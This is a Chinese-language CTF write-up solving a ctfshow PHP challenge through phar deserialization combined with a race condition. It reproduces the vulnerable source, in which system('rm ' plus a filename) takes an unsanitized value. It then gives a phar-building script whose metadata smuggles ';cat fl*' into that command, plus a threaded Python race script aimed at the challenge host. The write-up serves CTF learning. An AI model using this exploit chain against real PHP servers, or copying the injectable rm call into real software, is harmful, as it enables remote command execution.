nginx/1.16.1PHP/7.3.11phar反序列化条件竞争

    1. <?php
    2. /*
    3. # -*- coding: utf-8 -*-
    4. # @Author: h1xa
    5. # @Date: 2020-12-08 19:13:36
    6. # @Last Modified by: h1xa
    7. # @Last Modified time: 2020-12-08 20:08:07
    8. # @email: h1xa@ctfer.com
    9. # @link: https://ctfer.com
    10. */
    11. highlight_file(__FILE__);
    12. class filter{
    13. public $filename;
    14. public $filecontent;
    15. public $evilfile=false;
    16. public $admin = false;
    17. public function __construct($f,$fn){
    18. $this->filename=$f;
    19. $this->filecontent=$fn;
    20. }
    21. public function checkevil(){
    22. if(preg_match('/php|\.\./i', $this->filename)){
    23. $this->evilfile=true;
    24. }
    25. if(preg_match('/flag/i', $this->filecontent)){
    26. $this->evilfile=true;
    27. }
    28. return $this->evilfile;
    29. }
    30. public function __destruct(){
    31. if($this->evilfile && $this->admin){
    32. system('rm '.$this->filename);
    33. }
    34. }
    35. }
    36. if(isset($_GET['fn'])){
    37. $content = file_get_contents('php://input');
    38. $f = new filter($_GET['fn'],$content);
    39. if($f->checkevil()===false){
    40. file_put_contents($_GET['fn'], $content);
    41. copy($_GET['fn'],md5(mt_rand()).'.txt');
    42. unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
    43. echo 'work done';
    44. }
    45. }else{
    46. echo 'where is flag?';
    47. }
    48. where is flag?

    分析:
    emm,在上题基础上新增了个判断 $this->admin 然后想着,构造一下序列化不就行了嘛,然后发现没有反序列化函数。。

    看了下发现可以通过 file_put_contents 写 phar文件,然后题目中 file_put_contents 第一个参数可控,那么我们可以使用 phar:// 协议,通过 $content 传入 phar 数据,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data 部分进行反序列化。

    不过题目会删除文件,所以需要在删除文件前执行文件进行以上操作,因此要用到条件竞争,即生成了 phar 文件,在极短时间内文件是存在的,因为执行到 unlink 函数前还有一个 copy 文件操作,磁盘 io 是需要一定时间的。只要我们不断在写入 phar 文件,那么这个文件就可以断断续续访问到~

    poc
    phar构造如下,会在当前目录生成 evil.phar 文件

    1. <?php
    2. class filter
    3. {
    4. public $filename = ';cat fl*';
    5. public $evilfile = true;
    6. public $admin = true;
    7. }
    8. // 后缀必须为phar
    9. $phar = new Phar("evil.phar");
    10. $phar->startBuffering();
    11. // 设置 stubb
    12. $phar->setStub("<?php __HALT_COMPILER(); ?>");
    13. $o = new filter();
    14. /**
    15. * 将自定义的 meta-data 存入 manifest
    16. * 这个函数需要在php.ini中修改 phar.readonly 为 Off
    17. * 否则的话会抛出
    18. * creating archive "***.phar" disabled by the php.ini setting phar.readonly
    19. * 异常.
    20. */
    21. $phar->setMetadata($o);
    22. // 添加需压缩的文件
    23. $phar->addFromString("test.txt", "test");
    24. $phar->stopBuffering();
    25. ?>

    条件竞争,py3脚本

    1. import base64
    2. import requests
    3. import threading
    4. flag = False
    5. url = 'http://0f5a5b64-ef6b-4317-b093-3f2fc62f1df9.challenge.ctf.show:8080/'
    6. data = open('./evil.phar', 'rb').read()
    7. pre_resp = requests.get(url)
    8. if pre_resp.status_code != 200:
    9. print(url + '\n链接好像挂了....')
    10. exit(1)
    11. def upload():
    12. requests.post(url+"?fn=evil.phar", data=data)
    13. def read():
    14. global flag
    15. r = requests.post(url+"?fn=phar://evil.phar/", data="")
    16. if "ctfshow{" in r.text and flag is False:
    17. print(base64.b64encode(r.text.encode()))
    18. flag = True
    19. while flag is False:
    20. a = threading.Thread(target=upload)
    21. b = threading.Thread(target=read)
    22. a.start()
    23. b.start()

    image.png
    base64解码一下即可
    image.png
    flag
    ctfshow{6aaf355a-d65b-40f7-8099-c429a6030b65}

    题外
    除了 file_put_contents 外,会把 phar 反序列化的函数还有:

    受影响的函数列表
    filename filectime
    (获取文件的inode更改时间)
    file_exists file_get_contents
    file_put_contents file filegroup
    (获取文件的组名)
    fopen
    fileinode
    (获取文件inode)
    filemtime
    (获取文件的修改时间)
    fileowner fileperms
    (获取文件权限)
    is_dir is_executable is_file is_link
    (判断文件名是否为符号链接)
    is_readable is_writable is_writeable parse_ini_file
    (解析配置文件)
    copy unlink stat
    (获取文件相关信息)
    readfile
    (输入文件内容)

    表格参考自:https://v0w.top/2020/03/12/phar-unsearise/